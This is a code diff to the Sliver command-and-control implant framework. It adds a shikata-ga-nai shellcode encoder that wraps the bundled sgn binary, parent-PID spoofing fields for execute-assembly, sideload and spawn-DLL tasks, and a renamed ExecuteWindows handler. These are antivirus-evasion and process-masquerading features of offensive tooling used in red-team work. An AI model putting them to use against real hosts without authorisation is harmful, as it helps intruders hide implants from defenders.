+	return nil, status.Errorf(codes.Unimplemented, "method ExecuteWindows not implemented")
 }
 func (UnimplementedSliverRPCServer) Sideload(context.Context, *sliverpb.SideloadReq) (*sliverpb.Sideload, error) {
 	return nil, status.Errorf(codes.Unimplemented, "method Sideload not implemented")
@@ -2674,6 +2698,42 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu
 	return interceptor(ctx, in, info, handler)
 }
 
+func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(clientpb.ShellcodeEncodeReq)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).ShellcodeEncoder(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoder",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).ShellcodeEncoder(ctx, req.(*clientpb.ShellcodeEncodeReq))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
+func _SliverRPC_ShellcodeEncoderMap_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(commonpb.Empty)
+	if err := dec(in); err != nil {
+		return nil, err
+	}
+	if interceptor == nil {
+		return srv.(SliverRPCServer).ShellcodeEncoderMap(ctx, in)
+	}
+	info := &grpc.UnaryServerInfo{
+		Server:     srv,
+		FullMethod: "/rpcpb.SliverRPC/ShellcodeEncoderMap",
+	}
+	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
+		return srv.(SliverRPCServer).ShellcodeEncoderMap(ctx, req.(*commonpb.Empty))
+	}
+	return interceptor(ctx, in, info, handler)
+}
+
 func _SliverRPC_Websites_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
 	in := new(commonpb.Empty)
 	if err := dec(in); err != nil {
@@ -3214,20 +3274,20 @@ func _SliverRPC_Execute_Handler(srv interface{}, ctx context.Context, dec func(i
 	return interceptor(ctx, in, info, handler)
 }
 
-func _SliverRPC_ExecuteToken_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
-	in := new(sliverpb.ExecuteTokenReq)
+func _SliverRPC_ExecuteWindows_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) {
+	in := new(sliverpb.ExecuteWindowsReq)
 	if err := dec(in); err != nil {
 		return nil, err
 	}
 	if interceptor == nil {
-		return srv.(SliverRPCServer).ExecuteToken(ctx, in)
+		return srv.(SliverRPCServer).ExecuteWindows(ctx, in)
 	}
 	info := &grpc.UnaryServerInfo{
 		Server:     srv,
-		FullMethod: "/rpcpb.SliverRPC/ExecuteToken",
+		FullMethod: "/rpcpb.SliverRPC/ExecuteWindows",
 	}
 	handler := func(ctx context.Context, req interface{}) (interface{}, error) {
-		return srv.(SliverRPCServer).ExecuteToken(ctx, req.(*sliverpb.ExecuteTokenReq))
+		return srv.(SliverRPCServer).ExecuteWindows(ctx, req.(*sliverpb.ExecuteWindowsReq))
 	}
 	return interceptor(ctx, in, info, handler)
 }
@@ -4248,6 +4308,14 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			MethodName: "GetCompiler",
 			Handler:    _SliverRPC_GetCompiler_Handler,
 		},
+		{
+			MethodName: "ShellcodeEncoder",
+			Handler:    _SliverRPC_ShellcodeEncoder_Handler,
+		},
+		{
+			MethodName: "ShellcodeEncoderMap",
+			Handler:    _SliverRPC_ShellcodeEncoderMap_Handler,
+		},
 		{
 			MethodName: "Websites",
 			Handler:    _SliverRPC_Websites_Handler,
@@ -4369,8 +4437,8 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{
 			Handler:    _SliverRPC_Execute_Handler,
 		},
 		{
-			MethodName: "ExecuteToken",
-			Handler:    _SliverRPC_ExecuteToken_Handler,
+			MethodName: "ExecuteWindows",
+			Handler:    _SliverRPC_ExecuteWindows_Handler,
 		},
 		{
 			MethodName: "Sideload",

protobuf/sliverpb/constants.go

@@ -205,8 +205,8 @@ const (
 	MsgSetEnvReq
 	// MsgSetEnv
 	MsgSetEnv
-	// MsgExecuteTokenReq - Execute request executed with the current (Windows) token
-	MsgExecuteTokenReq
+	// MsgExecuteWindowsReq - Execute request executed with the current (Windows) token
+	MsgExecuteWindowsReq
 	// MsgRegistryReadReq
 	MsgRegistryReadReq
 	// MsgRegistryWriteReq
@@ -369,8 +369,8 @@ func MsgNumber(request proto.Message) uint32 {
 		return MsgInvokeExecuteAssemblyReq
 	case *ExecuteAssembly:
 		return MsgExecuteAssembly
-	case *ExecuteTokenReq:
-		return MsgExecuteTokenReq
+	case *ExecuteWindowsReq:
+		return MsgExecuteWindowsReq
 	case *InvokeMigrateReq:
 		return MsgInvokeMigrateReq
 	case *SideloadReq:

protobuf/sliverpb/sliver.proto

@@ -369,12 +369,16 @@ message ExecuteAssemblyReq {
   string ClassName = 6;
   string Method = 7;
   string AppDomain = 8;
+  uint32 PPid = 10;
+  repeated string ProcessArgs = 11;
   commonpb.Request Request = 9;
 }
 
 message InvokeExecuteAssemblyReq {
   bytes Data = 1;
   string process = 2;
+  uint32 PPid = 10;
+  repeated string ProcessArgs = 11;
 
   commonpb.Request Request = 9;
 }
@@ -404,16 +408,19 @@ message ExecuteReq {
   bool Output = 3;
   string Stdout = 4;
   string Stderr = 5;
+  uint32 PPid = 10;
 
   commonpb.Request Request = 9;
 }
 
-message ExecuteTokenReq {
+message ExecuteWindowsReq {
   string Path = 1;
   repeated string Args = 2;
   bool Output = 3;
   string Stdout = 4;
   string Stderr = 5;
+  bool UseToken = 6;
+  uint32 PPid = 10;
 
   commonpb.Request Request = 9;
 }
@@ -435,6 +442,8 @@ message SideloadReq {
   bool Kill = 5;
   bool isDLL = 6;
   bool isUnicode = 7;
+  uint32 PPid = 10;
+  repeated string ProcessArgs = 11;
 
   commonpb.Request Request = 9;
 }
@@ -451,6 +460,8 @@ message InvokeSpawnDllReq {
   string Args = 3;
   string EntryPoint = 4;
   bool Kill = 5;
+  uint32 PPid = 10;
+  repeated string ProcessArgs = 11;
 
   commonpb.Request Request = 9;
 }
@@ -461,6 +472,8 @@ message SpawnDllReq {
   uint32 Offset = 3;
   string Args = 4;
   bool Kill = 5;
+  uint32 PPid = 10;
+  repeated string ProcessArgs = 11;
 
   commonpb.Request Request = 9;
 }

server/assets/assets.go

@@ -158,7 +158,7 @@ func GetGPGPublicKey() (*packet.PublicKey, error) {
 func setupGo(appDir string) error {
 
 	setupLog.Infof("Unpacking to '%s'", appDir)
-	goRootPath := path.Join(appDir, GoDirName)
+	goRootPath := filepath.Join(appDir, GoDirName)
 	setupLog.Infof("GOPATH = %s", goRootPath)
 	if _, err := os.Stat(goRootPath); !os.IsNotExist(err) {
 		setupLog.Info("Removing old go root directory")
@@ -175,14 +175,14 @@ func setupGo(appDir string) error {
 	os.MkdirAll(goRootPath, 0700)
 
 	// Go compiler and stdlib
-	goZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
+	goZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip")
 	goZip, err := assetsFs.ReadFile(goZipFSPath)
 	if err != nil {
 		setupLog.Errorf("static asset not found: %s", goZipFSPath)
 		return err
 	}
 
-	goZipPath := path.Join(appDir, "go.zip")
+	goZipPath := filepath.Join(appDir, "go.zip")
 	defer os.Remove(goZipPath)
 	ioutil.WriteFile(goZipPath, goZip, 0600)
 	_, err = unzip(goZipPath, appDir)
@@ -196,7 +196,7 @@ func setupGo(appDir string) error {
 		setupLog.Info("static asset not found: src.zip")
 		return err
 	}
-	goSrcZipPath := path.Join(appDir, "src.zip")
+	goSrcZipPath := filepath.Join(appDir, "src.zip")
 	defer os.Remove(goSrcZipPath)
 	ioutil.WriteFile(goSrcZipPath, goSrcZip, 0600)
 	_, err = unzip(goSrcZipPath, goRootPath)
@@ -209,20 +209,32 @@ func setupGo(appDir string) error {
 	if runtime.GOOS == "windows" {
 		garbleFileName = "garble.exe"
 	}
-	garbleAssetPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
+	garbleAssetPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName)
 	garbleFile, err := assetsFs.ReadFile(garbleAssetPath)
 	if err != nil {
 		setupLog.Errorf("Static asset not found: %s", garbleFile)
 		return err
 	}
-	garbleLocalPath := path.Join(appDir, "go", "bin", garbleFileName)
+	garbleLocalPath := filepath.Join(appDir, "go", "bin", garbleFileName)
 	err = ioutil.WriteFile(garbleLocalPath, garbleFile, 0700)
 	if err != nil {
 		setupLog.Errorf("Failed to write garble %s", err)
 		return err
 	}
 
-	return nil
+	return setupSGN(appDir)
+}
+
+func setupSGN(appDir string) error {
+	goBinPath := filepath.Join(appDir, "go", "bin")
+	sgnZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip")
+	sgnZip, err := assetsFs.ReadFile(sgnZipFSPath)
+	if err != nil {
+		setupLog.Errorf("static asset not found: %s", sgnZipFSPath)
+		return err
+	}
+	_, err = unzipBuf(sgnZip, goBinPath)
+	return err
 }
 
 // SetupGoPath - Extracts dependencies to goPathSrc
@@ -246,10 +258,10 @@ func SetupGoPath(goPathSrc string) error {
 		return err
 	}
 	sliverpbGoSrc = stripSliverpb(sliverpbGoSrc)
-	sliverpbDir := path.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
+	sliverpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "sliverpb")
 	os.MkdirAll(sliverpbDir, 0700)
-	ioutil.WriteFile(path.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
-	ioutil.WriteFile(path.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
+	ioutil.WriteFile(filepath.Join(sliverpbDir, "sliver.pb.go"), sliverpbGoSrc, 0600)
+	ioutil.WriteFile(filepath.Join(sliverpbDir, "constants.go"), sliverpbConstSrc, 0600)
 
 	// Common PB
 	commonpbSrc, err := protobufs.FS.ReadFile("commonpb/common.pb.go")
@@ -257,9 +269,9 @@ func SetupGoPath(goPathSrc string) error {
 		setupLog.Info("Static asset not found: common.pb.go")
 		return err
 	}
-	commonpbDir := path.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
+	commonpbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "commonpb")
 	os.MkdirAll(commonpbDir, 0700)
-	ioutil.WriteFile(path.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
+	ioutil.WriteFile(filepath.Join(commonpbDir, "common.pb.go"), commonpbSrc, 0600)
 
 	// DNS PB
 	dnspbSrc, err := protobufs.FS.ReadFile("dnspb/dns.pb.go")
@@ -267,9 +279,9 @@ func SetupGoPath(goPathSrc string) error {
 		setupLog.Info("Static asset not found: dns.pb.go")
 		return err
 	}
-	dnspbDir := path.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
+	dnspbDir := filepath.Join(goPathSrc, "github.com", "bishopfox", "sliver", "protobuf", "dnspb")
 	os.MkdirAll(dnspbDir, 0700)
-	ioutil.WriteFile(path.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
+	ioutil.WriteFile(filepath.Join(dnspbDir, "dns.pb.go"), dnspbSrc, 0600)
 	return nil
 }
 
@@ -305,7 +317,7 @@ func unzipGoDependency(fsPath string, targetPath string) error {
 		return err
 	}
 
-	goDepZipPath := path.Join(appDir, path.Base(fsPath))
+	goDepZipPath := filepath.Join(appDir, filepath.Base(fsPath))
 	defer os.Remove(goDepZipPath)
 	ioutil.WriteFile(goDepZipPath, goDep, 0600)
 	_, err = unzip(goDepZipPath, targetPath)
@@ -385,6 +397,46 @@ func unzip(src string, dest string) ([]string, error) {
 	return filenames, nil
 }
 
+func unzipBuf(src []byte, dest string) ([]string, error) {
+
+	var filenames []string
+
+	reader, err := zip.NewReader(bytes.NewReader(src), int64(len(src)))
+	if err != nil {
+		return filenames, err
+	}
+
+	for _, file := range reader.File {
+
+		rc, err := file.Open()
+		if err != nil {
+			return filenames, err
+		}
+		defer rc.Close()
+
+		fPath := filepath.Join(dest, file.Name)
+		filenames = append(filenames, fPath)
+
+		if file.FileInfo().IsDir() {
+			os.MkdirAll(fPath, 0700)
+		} else {
+			if err = os.MkdirAll(filepath.Dir(fPath), 0700); err != nil {
+				return filenames, err
+			}
+			outFile, err := os.OpenFile(fPath, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, file.Mode())
+			if err != nil {
+				return filenames, err
+			}
+			_, err = io.Copy(outFile, rc)
+			outFile.Close()
+			if err != nil {
+				return filenames, err
+			}
+		}
+	}
+	return filenames, nil
+}
+
 func pseudoRandStringRunes(n int) string {
 	insecureRand.Seed(time.Now().UnixNano())
 	letterRunes := []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")

server/rpc/rpc-execute.go

@@ -35,8 +35,8 @@ func (rpc *Server) Execute(ctx context.Context, req *sliverpb.ExecuteReq) (*sliv
 	return resp, nil
 }
 
-// ExecuteToken - Execute a remote process with token (windows only)
-func (rpc *Server) ExecuteToken(ctx context.Context, req *sliverpb.ExecuteTokenReq) (*sliverpb.Execute, error) {
+// ExecuteWindows - Execute a remote process with specific options (PPID, Token, windows only)
+func (rpc *Server) ExecuteWindows(ctx context.Context, req *sliverpb.ExecuteWindowsReq) (*sliverpb.Execute, error) {
 	resp := &sliverpb.Execute{Response: &commonpb.Response{}}
 	err := rpc.GenericHandler(req, resp)
 	if err != nil {

server/rpc/rpc-shellcode.go

@@ -0,0 +1,60 @@
+package rpc
+
+/*
+	Sliver Implant Framework
+	Copyright (C) 2022  Bishop Fox
+
+	This program is free software: you can redistribute it and/or modify
+	it under the terms of the GNU General Public License as published by
+	the Free Software Foundation, either version 3 of the License, or
+	(at your option) any later version.
+
+	This program is distributed in the hope that it will be useful,
+	but WITHOUT ANY WARRANTY; without even the implied warranty of
+	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+	GNU General Public License for more details.
+
+	You should have received a copy of the GNU General Public License
+	along with this program.  If not, see <https://www.gnu.org/licenses/>.
+*/
+
+import (
+	"context"
+
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/server/sgn"
+)
+
+// ShellcodeEncode - Encode a piece shellcode
+func (rpc *Server) ShellcodeEncoder(ctx context.Context, req *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) {
+
+	resp := &clientpb.ShellcodeEncode{Response: &commonpb.Response{}}
+	var err error
+
+	switch req.Encoder {
+	case clientpb.ShellcodeEncoder_SHIKATA_GA_NAI:
+		rpcLog.Infof("[rpc] Shellcode encoder request for: SHIKATA_GA_NAI")
+		resp.Data, err = sgn.EncodeShellcode(req.Data, req.Architecture, int(req.Iterations), req.BadChars)
+		if err != nil {
+			resp.Response.Err = err.Error()
+		}
+	default:
+		resp.Response.Err = "Unknown encoder"
+	}
+
+	rpcLog.Infof("[rpc] Successfully encoded shellcode (%d bytes)", len(resp.Data))
+
+	return resp, nil
+}
+
+// ShellcodeEncoderMap - Get a map of support shellcode encoders <human readable/enum>
+func (rpc *Server) ShellcodeEncoderMap(ctx context.Context, _ *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) {
+	resp := &clientpb.ShellcodeEncoderMap{
+		Encoders: map[string]clientpb.ShellcodeEncoder{
+			// Human Readable: enum value
+			"shikata-ga-nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
+		},
+	}
+	return resp, nil
+}

server/rpc/rpc-tasks.go

@@ -136,9 +136,11 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
 	}
 
 	invokeExecAssembly := &sliverpb.InvokeExecuteAssemblyReq{
-		Data:    shellcode,
-		Process: req.Process,
-		Request: req.Request,
+		Data:        shellcode,
+		Process:     req.Process,
+		Request:     req.Request,
+		PPid:        req.PPid,
+		ProcessArgs: req.ProcessArgs,
 	}
 	resp := &sliverpb.ExecuteAssembly{Response: &commonpb.Response{}}
 	err = rpc.GenericHandler(invokeExecAssembly, resp)
@@ -185,6 +187,8 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
 			Data:        shellcode,
 			ProcessName: req.ProcessName,
 			Kill:        req.Kill,
+			PPid:        req.PPid,
+			ProcessArgs: req.ProcessArgs,
 		}
 	}
 	resp := &sliverpb.Sideload{Response: &commonpb.Response{}}
@@ -228,6 +232,8 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
 		Args:        req.Args,
 		Request:     req.Request,
 		Kill:        req.Kill,
+		PPid:        req.PPid,
+		ProcessArgs: req.ProcessArgs,
 	}
 	err = rpc.GenericHandler(spawnDLLReq, resp)
 	if err != nil {

server/sgn/sgn.go

@@ -0,0 +1,184 @@
+package sgn
+
+import (
+	"bytes"
+	"errors"
+	"fmt"
+	"io/ioutil"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"runtime"
+	"strings"
+
+	"github.com/bishopfox/sliver/server/assets"
+	"github.com/bishopfox/sliver/server/log"
+)
+
+var (
+	sgnLog = log.NamedLogger("shellcode", "sgn")
+)
+
+// SGNConfig - Configuration for sgn
+type SGNConfig struct {
+	AppDir string
+
+	Architecture   string // Binary architecture (32/64) (default 32)
+	Asci           bool   // Generates a full ASCI printable payload (takes very long time to bruteforce)
+	BadChars       []byte // Don't use specified bad characters given in hex format (\x00\x01\x02...)
+	Iterations     int    // Number of times to encode the binary (increases overall size) (default 1)
+	MaxObfuscation int    // Maximum number of bytes for obfuscation (default 20)
+	PlainDecoder   bool   // Do not encode the decoder stub
+	Safe           bool   // Do not modify any register values
+
+	Verbose bool
+
+	Output string
+	Input  string
+}
+
+// sgnCmd - Execute a sgn command
+func sgnCmd(appDir string, cwd string, command []string) ([]byte, error) {
+	sgnName := "sgn"
+	if runtime.GOOS == "windows" {
+		sgnName = "sgn.exe"
+	}
+	sgnBinPath := filepath.Join(appDir, "go", "bin", sgnName)
+
+	cmd := exec.Command(sgnBinPath, command...)
+	cmd.Dir = cwd
+	cmd.Env = []string{
+		fmt.Sprintf("PATH=%s:%s", filepath.Join(appDir, "go", "bin"), os.Getenv("PATH")),
+	}
+	var stdout bytes.Buffer
+	var stderr bytes.Buffer
+	cmd.Stdout = &stdout
+	cmd.Stderr = &stderr
+
+	sgnLog.Infof("sgn cmd: '%v'", cmd)
+	err := cmd.Run()
+	if err != nil {
+		sgnLog.Infof("--- env ---\n")
+		for _, envVar := range cmd.Env {
+			sgnLog.Infof("%s\n", envVar)
+		}
+		sgnLog.Infof("--- stdout ---\n%s\n", stdout.String())
+		sgnLog.Infof("--- stderr ---\n%s\n", stderr.String())
+		sgnLog.Info(err)
+	}
+	return stdout.Bytes(), err
+}
+
+// EncodeShellcode - Encode a shellcode
+func EncodeShellcode(shellcode []byte, arch string, iterations int, badChars []byte) ([]byte, error) {
+	sgnLog.Infof("[sgn] EncodeShellcode: %d bytes", len(shellcode))
+	inputFile, err := ioutil.TempFile("", "sgn")
+	if err != nil {
+		sgnLog.Error(err)
+		return nil, errors.New("Failed to encode shellcode")
+	}
+	_, err = inputFile.Write(shellcode)
+	if err != nil {
+		sgnLog.Error(err)
+		return nil, errors.New("Failed to encode shellcode")
+	}
+	defer os.Remove(inputFile.Name())
+	outputFile, err := ioutil.TempFile("", "sgn")
+	if err != nil {
+		sgnLog.Error(err)
+		return nil, errors.New("Failed to encode shellcode")
+	}
+	outputFile.Close()
+	defer os.Remove(outputFile.Name())
+
+	config := SGNConfig{
+		AppDir: assets.GetRootAppDir(),
+
+		Architecture:   strings.ToLower(arch),
+		Iterations:     iterations,
+		MaxObfuscation: 20,
+		Safe:           false,
+		PlainDecoder:   false,
+		Asci:           false,
+		BadChars:       badChars,
+		Verbose:        false,
+
+		Input:  inputFile.Name(),
+		Output: outputFile.Name(),
+	}
+	_, err = sgnCmd(config.AppDir, ".", configToArgs(config))
+	if err != nil {
+		sgnLog.Error(err)
+		return nil, errors.New("Failed to encode shellcode")
+	}
+	data, err := ioutil.ReadFile(outputFile.Name())
+	if err != nil {
+		sgnLog.Error(err)
+		return nil, errors.New("Failed to encode shellcode")
+	}
+	sgnLog.Infof("[sgn] successfully encoded to %d bytes", len(data))
+	return data, nil
+}
+
+func configToArgs(config SGNConfig) []string {
+	args := []string{}
+
+	// CPU Architecture
+	if config.Architecture == "386" || config.Architecture == "32" {
+		args = append(args, "-a", "32")
+	} else {
+		args = append(args, "-a", "64")
+	}
+
+	// Iterations
+	if 1 < config.Iterations {
+		args = append(args, "-c", fmt.Sprintf("%d", config.Iterations))
+	} else {
+		args = append(args, "-c", "1")
+	}
+
+	// Max obfuscation
+	if 0 < config.MaxObfuscation {
+		args = append(args, "-max", fmt.Sprintf("%d", config.MaxObfuscation))
+	} else {
+		args = append(args, "-max", "20")
+	}
+
+	// Safe
+	if config.Safe {
+		args = append(args, "-safe")
+	}
+
+	// Plain decoder
+	if config.PlainDecoder {
+		args = append(args, "-plain-decoder")
+	}
+
+	// Asci
+	if config.Asci {
+		args = append(args, "-asci")
+	}
+
+	// Bad characters
+	if 0 < len(config.BadChars) {
+		badChars := []string{}
+		for _, b := range config.BadChars {
+			badChars = append(badChars, fmt.Sprintf("\\x%02x", b))
+		}
+		args = append(args, "-b", fmt.Sprintf("%s", strings.Join(badChars, "")))
+	}
+
+	// Verbose
+	if config.Verbose {
+		args = append(args, "-v")
+	}
+
+	// Output
+	args = append(args, "-o", config.Output)
+
+	// Input
+	sgnLog.Infof("[sgn] input file: %s", config.Input)
+	args = append(args, config.Input)
+
+	return args
+}